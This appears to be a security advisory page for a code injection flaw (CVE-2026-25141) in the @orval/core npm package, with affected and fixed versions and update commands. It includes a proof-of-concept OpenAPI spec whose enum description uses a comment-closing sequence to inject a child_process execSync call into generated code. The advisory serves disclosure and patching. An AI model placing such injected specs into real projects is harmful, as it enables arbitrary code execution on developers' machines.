@orval/core
Affected
- introduced
7.19.0, fixed7.21.0(semver)
Fixed versions
7.21.0
Fix
- Fixed version
7.21.0npm install @orval/[email protected]
Advisory
Also known as: CVE-2026-25141
Orval has Code Injection via unsanitized x-enum-descriptions using JS comments
CVE-2026-23947 had an incomplete fix
While the current jsStringEscape function properly handles single quotes ('), double quotes (") and other characters, it fails to sanitize * and / characters. This allows attackers to break out of JavaScript comment blocks using */ sequences and inject arbitrary code into generated files.
Example:
openapi: 3.0.4
info:
title: Enum PoC
version: "1.0.0"
paths:
/ping:
get:
operationId: ping
responses:
"200":
description: ok
content:
application/json:
schema:
$ref: "#/components/schemas/EvilEnum"
components:
schemas:
EvilEnum:
type: string
enum:
- PWNED
x-enumDescriptions:
# "pwned */ }; import('child_process').then(cp => cp.execSync('touch pwned')); const a = { /*"Critical Basis: The source's own band: CRITICAL
7.19.0, fixed 7.21.0 (semver)7.21.0
7.21.0npm install @orval/[email protected]8.0.0, fixed 8.2.0 (semver)8.2.0
8.2.0npm install @orval/[email protected]Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0